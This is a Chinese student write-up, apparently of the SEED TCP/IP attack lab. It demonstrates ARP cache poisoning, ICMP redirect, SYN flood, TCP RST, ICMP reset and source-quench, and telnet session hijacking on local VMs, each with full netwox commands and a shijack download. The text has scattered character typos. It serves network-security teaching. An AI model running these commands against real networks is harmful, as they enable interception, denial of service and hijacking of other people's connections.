目錄標題
- 1、實驗室概況
- 2、實驗室環境
- 2.1環撞設定
- 2.2教師須知
- 3、實驗室的任務
- 3.1 Task (1): ARP快取中毒
- (1)80號工具攻擊:
- (2)33號工具攻擊:
- 3.2任務(2):ICMP重定向攻擊
- 82,83,84,85,86工具:
- 3.3任務(3):SYN flood攻擊
- (1)關閉SYN cookie機制:
- 76,78工具:
- (2)打開SYN cookie機制:
- 3.4任務(4):針對telnet和 ssh連接的TCP RST攻擊
- 78號工具:
- 3.5任務(5):針對流媒體應用的TCP RST攻擊
- 3.6任務(6):ICMP盲連接復位和源端抑制攻擊
- (1)ICMP盲連接復位
- 82號工具:
- (2)源端抑制攻擊
- 85號工具:
- 3.7任務(7):TCP會話劫持
- 40號工具:
- shijack工具
- 3.8調查
- 3.9注意
- 4、實驗報告
1、實驗室概況
??本實驗室的學習目標是讓學生對TCPIP協議的漏洞以及針對這些逅洞的攻擊獲得第一手的經驗,TCPIP協議中的漏洞代表了協議設計和實作中的一種特殊型別的漏潤;它們提供了一個寶貴的教訓,告訴我們為什么應該從一開始就設計安全性,而不是在事河駁加,此外,研究這些漏洞有助于學生了解網路安全面臨的挑戰,以及為什么需要采取許多網路安全措施,TCP/P協議的漏洞存在于多個層面,
2、實驗室環境
2.1環撞設定
網路設定,要進行這個實驗,學生需要至少3臺機器,一臺計算機用于攻擊,第二臺計算機作為受害者,第三臺計算機作為觀察者,學生可以在同一臺主機上設定3臺虛擬機,也可以設定2臺虛擬機,然后主機作為第三臺計算機使用,對于這個實驗室,我們將這三臺機器放在同一個局域網中,配置如下:
作業系統,本實驗室可使用多種作業系統進行實驗,我們預構建的虛擬機是基于ubuntu Linux 的,并且這個實驗室所需的所有工具都已經安裝好了,如果您喜歡使用其他_Unx作業系統,比如Fedora,那么您可以自由使用它們;然而,本實驗描述中使用的一些命令可能在其他作業系統中不作業或不存在,
Netwcx 工具,我們需要工縣來發送不同型別和不同內容的網路資料包,我們可以用Netwag來做,但是,由于Netwag 的GUI界面使我們很難自動化我們的程序,因此,我們強烈建議學生使用它的命令列版本,即Netwox命令,它是由 Netwag呼叫的底層命令,
Netwox由一套工具組成,每個工具都有特定的數量,您可以像下面這樣運行命令(引數取決于您使用的工耳),對于某些工具,您必須使用根權限運行它:
# netwox number [parameters ... ]
??如果您不確定如何設定引數,您可以通過發出“nettwx nu mber——help”查看手冊,您還可以通過運行Netwag來了解引數設定:對于從圖形界面執行的每個命令,Netwag實際上呼叫一個相應的Netwox命令,它顯示引數設定,因此,您可以簡單地復制并粘貼顯示的命令
Wireshark工具,對于這個實驗室,您還需要一個好的網路流量嗅探器工具,盡管Netwox自帶了一個嗅探器,但您會發現另一個名為Wireshark的工具是一個更好的嗅探器工具,Netwgx和 wireshark都可以下載,如果您正在使用我們預構建的塞擬機,那么這兩個工具都已經安裝了,要噢探所有的網路流量,這兩個工具都需要由根程式運行,
啟用ftp和tenet服務器,對于本實驗,您可能需要啟用ftp和telnet服務器,出于安全考慮,這些服務迪常在默認情況下是禁用的,要在我們預構建的Ubuntu虛擬機中啟用它們,你需要以root用戶運行以下命令:
啟動ftp服務器
# service vsftpd start
啟動telnet服務器
# service openbsd-inetd start
把三臺虛擬機的ftp和telnet服務器都打開:



2.2教師須知
??對于這個實驗,一個實驗會議是可取的,特別是如果學生不熟悉工具和環境裝飾,如果一個講師計劃舉辦一個實驗謀程(由他/她自己或由助教),建議在實驗課程中包括以下內容,我們假設講師已經在講座中涵蓋了攻擊的概念,所以我們不在實驗環節中包含它們,
? 使用虛擬機軟體,
? wireshark,Netwag和Netwox工具的使用,
? 使用Netwnx命令列工具創建任意TCP, UDP,IP資料包等,
3、實驗室的任務
??在這個實驗中,學生需要對TCPIP協議進行攻擊,他們可以使用netwox工具和/或其他工具進行攻擊,所有攻擊均發生在 Linux 作業系統上,然而,教師也可以要求學生對其他作業系統進行同樣的攻擊,并對觀察結果進行比較,
??為了簡化TCP 序列號和源埠號的“猜測”,我們假設攻擊者和受害者在同一個物理網路上,因此,您可以使用嗅探器工具來獲取這些資訊,下面是需要實作的攻擊串列,
3.1 Task (1): ARP快取中毒
??ARP快取是ARP協議的重要組成部分,一旦執行ARP協議后,MAC地址和IP地址之間的映射被決議,映射就會被快取,因此,如果該映射已經在快取中,則無需重復執行ARP協議,然而,由于ARP協議是無狀態的,快取很容易被惡意ARP訊息破壞,這種攻擊稱為ARP快取投毒攻擊,
??在這種攻擊中,攻擊者使用欺騙ARP訊息來欺騙受害者接受一個無效的MAC-IP映射,并將該映射存盤在其快取中,根據攻擊者的動機,可能會出現各種各樣的結果,例如,攻擊者可以將一個不存在的MAC地址與受害者的默認網關IP地址相關聯,從而對受害者發起DoS攻擊;攻擊者還可以將攻擊物件之間的通信重定向到另一臺機器,等等,
??在本任務中,您需要演示ARP快取中毒攻擊是如何作業的,在這個任務中有幾個命令是有用的,在Linux 中,我們可以使用命令arp來檢查當前地址和MAC地址的映射關系,
??ARP欺騙攻擊的根源是ARP協議設計時認為局域網內部所有用戶是可信的,采用廣播請求包方式在局域網段中詢問映射關系,并在本地使用ARP快取機制,
以數字地址形式顯示所有介面的當前ARP 快取表:
arp -na
-n 以數字地址形式顯示
-a 顯示所有介面的當前ARP 快取表



剛開始ARP快取表沒有其他虛擬機的MAC-IP映射,ping過通信之后就會記錄IP地址對應的MAC地址,
工具:Netwox的33號工具可以構造任意的以太網ARP資料報,80號工具可以周期性地發送ARP應答報,
Netwag 的GUI界面:


(1)80號工具攻擊:
80:這個工具發送連續的ARP回復,您需要設備名稱(上面解釋過),以及源和目的IP地址和以太網地址,即使你不知道任何機器的以太網地址,你可以提供@IP作為一個引數,netwox會為你解決它(例如,ip地址為1.2.3.4的機器的以太網地址是@1.2.3.4),
之后我們在192.168.48.134用netwox工具發送一個資料包給192.168.48.135,命令列版本是:
sudo netwox 80 --eth 00:0c:29:c9:a1:0b --ip 192.168.48.134 --device "Eth0" --eth-dst 00:0c:29:6b:14:ed --ip-dst 192.168.48.135 --sleep 1000

Netwag 的GUI版本是:

點擊Run it,Run即可發送資料包:

??該命令的含義是告訴192.168.48.135主機,IP地址為192.168.48.134的MAC地址為00:0c:29:c9:a1:0b(實際上是192.168.48.136的MAC地址)
之后我們在192.168.48.135主機上查看它的ARP地址快取表:

發現快取表中192.168.48.134的MAC地址已經被改為了192.168.48.136的MAC地址00:0c:29:c9:a1:0b,
之后我們在192.168.48.135主機上
ping 192.168.48.134

Wireshark抓包發現:

??從上圖中我們可以看到,ping發出的IPMP資料包:網路層的目的IP是192.168.48.134主機,但是MAC地址卻是192.168.48.136主機的,所以192.168.48.134主機不會接收和處理這個資料包,這個資料包將會被192.168.48.136主機接收和處理,
(2)33號工具攻擊:
??實施中間人攻擊:192.168.48.134分別向192.168.48.135、192.168.48.136發送偽造的請求資料包進行欺騙,使得135的ARP快取表中的映射關系分別是IP(136)/MAC(00:0c:29:42:43:a4),192.168.48.136IP(135)/MAC(00:0c:29:42:43:a4),這樣135要給136發訊息時就會發給134,136要給135發訊息時也會發給134,
??在攻擊機A當中執行以下命令 sudo netwox 33 -b (B的mac地址) -g (C的ip地址) -h (B的mac地址) -i(B的ip地址)
說明: -b 顯示網路協議下相關的模塊; -g 顯示與客戶端相關的模塊; -h 顯示與服務器相關的模塊; -i 顯示與檢測主機連通性相關的模塊;
我們在134執行攻擊135命令:
sudo netwox 33 -b 00:0c:29:6b:14:ed -g 192.168.48.136 -h 00:0c:29:6b:14:ed -i 192.168.48.135

??該命令的含義是告訴192.168.48.135主機,IP地址為192.168.48.136的MAC地址為00:0c:29:42:43:a4(實際上是192.168.48.134的MAC地址)
之后我們在192.168.48.135主機上查看它的ARP地址快取表:

發現快取表中192.168.48.136的MAC地址已經被改為了192.168.48.134的MAC地址00:0c:29:42:43:a4,
同樣地,我們在134執行攻擊136命令:
sudo netwox 33 -b 00:0c:29:c9:a1:0b -g 192.168.48.135 -h 00:0c:29:c9:a1:0b -i 192.168.48.136

至此,134作為135和136的中間人攻擊已經完成,這樣135要給136發訊息時就會發給134,136要給135發訊息時也會發給134,
3.2任務(2):ICMP重定向攻擊
??路由器使用ICMP重定向訊息向主機提供最新的路由資訊,主機最初只有最小的路由資訊,當主機收到ICMP重定向訊息時,它將根據該訊息修改路由表,由于缺乏驗證,如果攻擊者希望受害者以特定的方式設定其路由資訊,可以向受害者發送敲騙的ICMP重定向訊息,并欺騙受害者修改其路由表,
??在本任務中,您應該演示_ICMP重定向攻擊是如何作業的,并插述觀察到的結果,在Linux下查看路由資訊,可以使用route命令,
Linux下查看路由資訊,可以使用route命令:

traceroute到主機192.168.1.102的路由:
traceroute 192.168.1.102


??ubuntu下traceroute www.baidu.com全是*,但ping可通,這主要是因為ubuntu下默認的traceroute發送的是UDP包,應該加引數-I(使用ICMP包),traceroute -I www.baidu.com,


我們可以看到第一跳是網關地址192.168.48.2有回包,到達目標地址也有回包,中間的地址和其他資訊都是***,
??這是因為traceroute程式的設計是利用ICMP及IP header的TTL(Time To Live)欄位(field),首先,traceroute送出一個TTL是1的IP 資料包(其實,每次送出的為3個40位元組的包,包括源地址,目的地址和包發出的時間標簽)到目的地,當路徑上的第一個路由器(router)收到這個資料包時,它將TTL減1,此時,TTL變為0了,所以該路由器會將此資料包丟掉,并送回一個「ICMP time exceeded」訊息(包括發IP包的源地址,IP包的所有內容及路由器的IP地址),
??但是現在中間的路由器大都不會發回“ICMP time exceeded”這個訊息了,所以主機traceroute里面顯示的全都是***這樣的IP地址,因為它不知道經過的路由器的IP地址,
82,83,84,85,86工具:
這些工具用于特殊的ICMP攻擊,都很容易使用,
攻擊機192.168.48.134發送資料包攻擊192.168.48.129:
netwox 86 -f "host 192.168.48.129" -gw 192.168.48.134 -i 192.168.48.2
-f代表靶機地址,-g代表靶機的下一跳地址,-i代表偽造的身份,
意思以路由192.168.48.2的名義向資料包的源地址192.168.48.129發送一個ICMP重定向報文,使它使用192.168.48.134為默認的路由,

然后在被攻擊的主機192.168.48.129運行前面的命令:
traceroute -I 192.168.1.102
traceroute -I www.baidu.com

traceroute -I 112.80.248.75(www.baidu.com的IP地址)

可以看到192.168.48.129從第一跳地址開始就沒有收到任何回包,且無法到達目標地址,
我們在192.168.48.129抓包:

發現traceroute -I 112.80.248.75發出的ICMP資料包的目標地址是112.80.248.75,但是下一跳的地址是192.168.48.134(MAC地址是00:0c:29:42:43:a4),說明我們之前的攻擊成功了,
3.3任務(3):SYN flood攻擊
??SYN flood是DoS攻擊的一種形式,攻擊者向攻擊者的TCP埠發送大量SYN請求,但攻擊者無意完成-way 握手程序,攻擊者要么使用敞騙的IP地址,要么不繼續 這個程序,通過這種攻擊,攻擊者可以淹沒受害者用于半開連接的佇列,即已經完成SYN,SYN-ACK,但還沒有得到最終ACK的連接,當此佇列已擊時,受害者無法再接受任何連接,圖1說明了攻擊,
佇列的大小有一個系統范圍的設定,在 Linux 中,我們可以使用以下命令檢查系統佇列大小設定:
# sysctl -q net.ipv4.tcp_max_syn_backlog
??我們可以使用命令“netstat -na”來檢查佇列的使用情況,即:與偵聽埠相關聯的半開連接數,這種連接的狀態是SYN-RECV,如果3次握手結束,則連接狀態為ESTABLISHED,
??在本任務中,您需要演示SYN泛洪攻擊,您可以先使用netwox工具進行攻擊,再使用嗅探工具捕獲攻擊報文,當攻擊正在進行時,在受害機器上運行“netstat -na”命令,并將結果與攻擊前的結果進行比較,請描述你是如何知道攻擊是否成功的,
SYN Cookie對策:如果您的攻擊似乎不成功,您可以調查的一件事是,SYN Cookie機制是否打開了,SYN cookie是一種針對SYN flood攻擊的防御機制,如果機器檢測到它受到SYN泛洪攻擊,該機制將啟動,可以使用sysctl命令打開/關團SYN cookie機制:
# sysctl -a | grep cookie (Display the SYN cookie flag)
# sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
# sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)
??請打開或關閉SYN cookie機制運行您的攻擊,并比較結果,在您的報告中,請描述為什么SYN cookie可以有效地保護機器免受SYN泛騏攻擊,如果你的導師在講座中沒有介紹這個機制,你可以從互聯網上找到SYN cookie機制是如何作業的,
使用以下命令檢查系統佇列大小設定:
# sysctl -q net.ipv4.tcp_max_syn_backlog

使用命令“netstat -na”來檢查佇列的使用情況:

-a (all)顯示所有選項,默認不顯示LISTEN相關
-t (tcp)僅顯示tcp相關選項
-u (udp)僅顯示udp相關選項
-n 拒絕顯示別名,能顯示數字的全部轉化成數字,
-l 僅列出有在 Listen (監聽) 的服務狀態
-p 顯示建立相關鏈接的程式名
-r 顯示路由資訊,路由表
-e 顯示擴展資訊,例如uid等
-s 按各個協議進行統計
-c 每隔一個固定時間,執行該netstat命令,
提示:LISTEN和LISTENING的狀態只有用-a或者-l才能看到
顯示tcp、udp連接:
netstat -atu

(1)關閉SYN cookie機制:
# sysctl -a | grep cookie (Display the SYN cookie flag)
# sysctl -w net.ipv4.tcp_syncookies=0 (turn off SYN cookie)
# sysctl -w net.ipv4.tcp_syncookies=1 (turn on SYN cookie)

76,78工具:
這些工具用于特定的TCP攻擊(SYN和RST攻擊)都很簡單
剛開始從攻擊機192.168.48.134連接192.168.48.135的21埠的ftp服務:
ftp 192.168.48.135

成功連接
也可以換成其他的埠,比如23的telnet服務等:
telnet 192.168.48.135

之后我們在192.168.48.134攻擊主機上用netwox的76工具發送攻擊資料包:
netwox 76 --dst-ip 192.168.48.135 --dst-port 21
netwox 76 -i 192.168.48.135 -p 21

在192.168.48.135被攻擊主機上查看tcp、udp連接佇列的使用情況

ftp服務的SYN-RECV半連接越來越多,
抓包可以看到192.168.48.135收到了大量的TCP連接建立的請求:

從觀察機192.168.48.136上連接:
ftp 192.168.48.135

已經連接不上了
(2)打開SYN cookie機制:

192.168.48.134攻擊主機上繼續攻擊:

在192.168.48.135被攻擊主機上查看tcp、udp連接佇列的使用情況:

依舊有部分的TCP半連接,但是數量已經不多了
從觀察機192.168.48.136上連接:
ftp 192.168.48.135

連接會比較緩慢,多連幾次還是可以連接上,
用Wireshark抓取TCP包:

發現192.168.48.135主機對長時間不完成3次握手的半連接進行了重置:

??SYN Cookie是對TCP服務器端的三次握手協議作一些修改,專門用來防范SYN Flood攻擊的一種手段,它的原理是,在TCP服務器收到TCP SYN包并回傳TCP SYN+ACK包時,不分配一個專門的資料區,而是根據這個SYN包計算出一個cookie值,在收到TCP ACK包時,TCP服務器在根據那個cookie值檢查這個TCP ACK包的合法性,如果合法,再分配專門的資料區進行處理未來的TCP連接,
3.4任務(4):針對telnet和 ssh連接的TCP RST攻擊
??TCP RST攻擊可以使兩個攻擊物件之間已經建立的TCP連接終止,例如,用戶A和用戶日之間已經建立了telnet連接(TCP),攻擊者可以通過欺騙用戶A到用戶B的 RST報文,破壞用戶B到用戶A的 telnet連接,為了成功進行這種攻擊,攻擊者需要正確構造TCP RST報文,
在本任務中,需要對A和B之間已有的 telnet連接進行TCP RST攻擊,然后再對ssh連接進行相同的攻擊,請描述一下你的觀察,簡單地說,我們假設攻擊者和曼害者在同一個局域網,即攻擊者可以觀察到A和B之間的TCP流量,
先在觀察機192.168.48.136對被攻擊機192.168.48.135進行telnet和 ssh連接:
telnet 192.168.48.135
ssh 192.168.48.135

78號工具:
(“Reset every TCP packet”)
??之后我們在攻擊機192.168.48.134用netwox的78號工具(“Reset every TCP packet”)對192.168.48.135被攻擊的22埠(ssh服務)和23埠(telnet服務)進行攻擊:
netwox 78 --device "Eth0" --filter "host 192.168.48.135 and tcp port 22" --ips "192.168.48.136"
過濾器引數設定目標服務主機和埠,ips引數設定連接主機IP,也可以不設定就會對所有主機進行無差別攻擊,
Netwag圖形界面:

攻擊:

發現192.168.48.136主機連接192.168.48.135主機ssh服務已經斷開

再嘗試連接192.168.48.135主機22埠:

ssh連接被拒絕,
netwox 78 --device "Eth0" --filter "host 192.168.48.135 and tcp port 23" --ips "192.168.48.136"


發現192.168.48.136主機連接192.168.48.135主機telnet服務已經斷開,再嘗試連接192.168.48.135主機telnet服務也被關閉:

3.5任務(5):針對流媒體應用的TCP RST攻擊
??讓我們通過在目前廣泛使用的應用程式上進行試驗,使TCP RST攻擊變得更加有趣,在本任務中,我們選擇視頻流應用程式,對于這個任務,你可以選擇一個你熟悉的視頻流網站(我們不會在這里命名任何特定的網站),大多數視頻共享網站都與客戶端建立TCP連接,實作視頻內容的流媒體,攻擊者的目標是破壞在受害者和視頻流機器之間建立的TCP會話,為了簡化實驗室,我們假設攻擊者和受害者在同一個局域網,在下面,我們指述一個用戶(受害者)和一些視頻流網站之間的常見互動;
?受害者在視頻流網站中瀏覽視頻內容,并連擇其中一個視頻進行視頻流,
?通常視頻內容由不同的機器托管,所有視頻內容都位于不同的機器上,受害者選擇視頻后,將在受害者機器和內容服務器之間建立TCP會話進行視頻流,然后,受害者可以觀看他/她透擇的視頻,
??你的任務是通過切斷受害者和內容服務器之間的TCP連接來中斷視頻流,您可以讓受害者用戶從另一臺(虛擬)機器或與攻擊者相同的(虛擬)機器瀏覽視頻流網站,請注意,為了避免責任問題,任何攻擊包都應該針對受害者機器(即自己運行的機器),而不是內容服務器機器(不屬于您),
原理跟上面的task4一樣,我們先打開梨視頻:

在攻擊機192.168.48.134上運行攻擊命令,只需要指定被攻擊主機192.168.48.135即可:
netwox 78 --device "Eth0" --filter "host 192.168.48.135"
或
netwox 78 -i 192.168.48.135


再查看192.168.48.135服務器已經無法登錄視頻網站了

3.6任務(6):ICMP盲連接復位和源端抑制攻擊
??ICMP報文也可以用來實作連接復位攻擊,為此,攻擊者向TCP連接的兩個端點中的任何一個發送ICMP錯誤訊息,表示“硬體錯誤”,這個連接可以被立即斷開,因為 RFC 1122規定,當主機收到這樣一個ICMP錯誤訊息時,應該中止相應的連接,Rfc 1122將“硬體錯誤”定義為型別為3(目的地不可達)的ICMP錯誤訊息,代碼為2(協議不可達)、3(埠不可達)或4(需要分段并設定DF位),
??ICMP源端抑制攻擊訊息被擁塞的路由器用來告訴TCP發送者放慢速度,攻擊者可以偽造這些訊息,對TCP發送著進行拒絕服務攻擊,
在本任務中,需要發起ICMP盲連接復位攻擊和ICMP源端抑制攻擊,而要注意的是,在某些TCP狀態下,有些系統可能會合理地忽略這類ICMP錯誤,你需要在實驗報告中措述你的觀察結果,
(1)ICMP盲連接復位
先在主機192.168.48.136上建立到192.168.48.135的telnet連接:

82號工具:
(Sniff and send ICMP4/ICMP6 destination unreachable)
然后從攻擊機192.168.48.134使用82號工具發送攻擊資料包:
netwox 82 --device "Eth0" --filter "host 192.168.48.135 and tcp port 23" --code 2

代碼為2(協議不可達)、3(埠不可達)

所有主機到192.168.48.135的埠和協議分別不可達:


但是觀察機192.168.48.136到被攻擊的主機192.168.48.135的telnet連接并沒有中斷:


(2)源端抑制攻擊
85號工具:
(Sniff and send ICMP4/ICMP6 source quench)
在攻擊機192.168.48.134上運行攻擊命令:
netwox 85 --device "Eth0" --filter "host 192.168.48.135 and tcp port 23" --src-ip 192.168.48.136


在觀察機192.168.48.136上抓包:

??發現的確有很多Source Quench的ICMP資料包,但是它只能起到降低被攻擊主機192.168.48.135發送資料包速率的作用,要真正達到拒絕服務的目的,還需要很多主機一起發送降低發送速率的請求,讓資料包發送速率足夠低,
??在ICMP Blind Connection-Reset攻擊中,利用RST報文來發送ICMP錯誤訊息,表示“硬體錯誤”來中斷TCP的連接,
??而Source-Quench是ICMP用于控制主機發送TCP資料包的速率,當接收端目的主機發現TCP資料包發送速率太快時,會向源主機發送ICMP 的Source-Quench以用于告訴源主機降低發送速率,所以當攻擊者偽造ICMP Source-Quench的時候,會導致正常TCP鏈路上的資料傳送速率降低,但是在實際的操作中,猜測是這種降低并不夠明顯,未能造成攻擊的效果,
3.7任務(7):TCP會話劫持
??TCP Session Hijacking攻擊的目的是通過向會話中注入惡意內容來劫持兩個受害者之間已經存在的TCP連接(會話),如果該連接是telnet會話,攻擊者可以在該會話中注入惡意命令,導致被攻擊者執行惡意命令,我們將在這個任務中使用telnet,我們還假設攻擊者和受害者在同一局域網,
注意:如果使用 wireshark觀察網路流量,需要注意的是,wireshark在顯示TCP序列號時,默認顯示的是相對序列號,相對序列號等于實際序列號減去初始序列號,如果需要查看報文的實際序列號,需要右鍵單擊wireshark輸出資訊中的“TCP”部分,選擇“協議優先級”,在彈出視窗中,取消“相對序列號和視窗縮放”選項,
??先在觀察機192.168.48.136跟被攻擊服務器192.168.48.135建立telnet連接:
然后抓包查看服務器發給客戶端的最后一個資料包的引數:

40號工具:
??(Spoof Ip4tep packet)用于欺騙TCP/IP報文,有了正確的引數,
所有的TCP攻擊都可以通過該工具完成,它允許用戶修改報文的IP頭、TCP頭和TCP資料,這是用于會話劫持,可以很容易地用來撰寫作業系統指紋掃描儀,
netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.48.136 --ip4-dst 192.168.48.135 --tcp-src 43168 --tcp-dst 23 --tcp-seqnum 43 --tcp-acknum 1829 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c73"

??40是netwox的40號工具,在ip4-src后輸入客戶端的地址,在ip4-dst后輸入服務器A的地址,tcp-src輸入源埠地址,tcp-seqnum和tcp-acknum輸入偽造的值,tcp-data是要發的資料的16進制值,這里的“6c73”是ls的16進制,
抓包發現192.168.48.134成功偽造客戶端192.168.48.136給服務器192.168.48.136發送資料包:

shijack工具
??接下來我們為了執行更多命令獲得更多資訊,我們可以使用一些專門針對TCP劫持的工具,例如shijack、Hunt等
我們先下一個shijack工具:
wget https://dl.packetstormsecurity.net/sniffers/shijack.tgz
然后解壓縮就可以直接使用了:
tar -zxvf shijack.tgz

使用shijack工具輸入以下命令,引數依次為網卡名,源地址,源埠,目的地址,telnet埠:
./shijack-lnx eth0 192.168.48.136 43168 192.168.48.135 23

之后就等待目標客戶端和服務器通信,之后shijack工具就會自動獲取seq,ack進行劫持:

攻擊機192.168.48.134成功目標劫持會話
原客戶端192.168.48.136的會話會被中斷,沒辦法再輸入和洗掉任何命令:

在攻擊機192.168.48.134輸入ls命令:

抓包看到攻擊機192.168.48.134也成功偽造客戶端192.168.48.136給服務器192.168.48.136發送資料包:

3.8調查
??TCP攻擊的難度程度取決于許多因素,請調查以下情況,并在你的實驗報告中寫下你的發現和觀察結果,
?研究初始序列號(ISN)的模式,并回答這些模式是否可預測,
?研究TCP視窗大小,并描述您的觀察結果,
?研究源埠號的模式,并回答這些模式是否可預測,
3.9注意
??需要注意的是,由于Linux中的一些漏洞已經被修復,上述攻擊中的一些將在Linux中失敗,但它們仍然可能成功地政擊其他作業系統,
4、實驗報告
??你應該既交一份實驗報告,報告應包括下列各節:
? 設計:攻擊的設計,包括攻擊策略、攻擊時使用的資料包、使用的工具等,
? 觀察:你的攻擊成功了嗎?你怎么知道它是否成功了?你希望看到什么?你觀察到了什么?你對這個觀察結果感到驚訝嗎?
轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/295615.html
標籤:其他
上一篇:Vue專案通過寶塔部署之后,頁面重繪后瀏覽器404頁面。
下一篇:對話譚浩強第四章



